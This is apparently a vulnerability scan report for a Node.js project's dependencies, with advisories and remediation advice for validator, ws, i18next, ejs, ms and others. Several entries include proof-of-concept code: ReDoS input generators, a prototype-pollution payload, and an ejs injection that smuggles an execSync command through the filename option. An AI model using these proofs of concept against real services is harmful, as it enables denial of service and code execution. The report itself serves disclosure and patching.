Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.
Remediation
Upgrade sequelize to version 6.28.1 or higher.
References
medium severity
new
- Vulnerable module: validator
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: validator
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-sequelize@2.0.2 › sequelize@4.44.4 › validator@10.11.0
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5 › ws@1.1.5
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: i18next
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trails@2.0.2 › i18next@3.5.2
Overview
i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).
Affected versions of this package are vulnerable to Buffer Overflow. It is possible to cause buffer overflow by changing the translation to be recursive.
Remediation
Upgrade i18next to version 19.5.5 or higher.
References
medium severity
- Vulnerable module: i18next
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trails@2.0.2 › i18next@3.5.2
Overview
i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).
Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the AddResourceBundle API which uses the the deepExtend function (https://github.com/i18next/i18next/blob/master/i18next.js#L361-L370) internally to extend existing translations in a file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.
PoC
import i18n from "i18next";
i18n.init({
resources: {
en: {
namespace1: {
key: 'hello from namespace 1'
},
namespace2: {
key: 'hello from namespace 2'
}
},
de: {
namespace1: {
key: 'hallo von namespace 1'
},
namespace2: {
key: 'hallo von namespace 2'
}
}
}
});
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
i18n.init({ resources: {} });
i18n.addResourceBundle('en', 'namespace1', JSON.parse(malicious_payload)
,true,true);
console.log(i18n.options.resources);
//a newly created empty object has the vulnerable property
console.log({}.vulnerable);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade i18next to version 19.8.3 or higher.
References
medium severity
- Vulnerable module: passport
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-passport@2.2.5 › passport@0.4.1
Overview
passport is a Simple, unobtrusive authentication for Node.js.
Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.
Remediation
Upgrade passport to version 0.6.0 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: lisa-box@0.0.16 and yeoman-generator@1.1.1
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › ejs@2.7.4
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › yeoman-generator@1.1.1 › mem-fs-editor@3.0.2 › ejs@2.7.4Remediation: Upgrade to yeoman-generator@4.11.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render and renderFile. If external input is flowing into the options parameter, an attacker is able run arbitrary code. This include the filename, compileDebug, and client option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs to version 3.1.6 or higher.
References
low severity
- Vulnerable module: braces
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › http-proxy-middleware@0.17.4 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to lisa-box@0.0.21.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces to version 2.3.1 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5 › debug@2.3.3Remediation: Open PR to patch debug@2.3.3.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors via manipulation of the str argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade debug to version 2.6.9, 3.1.0, 3.2.7, 4.3.1 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: lisa-box@0.0.16
Detailed paths
-
Introduced through: generator-lisa@mylisabox/generator-lisa#5020bfaaeb4c997c83e72287143b9f084fbfa122 › lisa-box@0.0.16 › trailpack-realtime@2.0.0 › engine.io@1.8.5 › debug@2.3.3 › ms@0.7.2Remediation: Open PR to patch ms@0.7.2.
Overview
ms is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
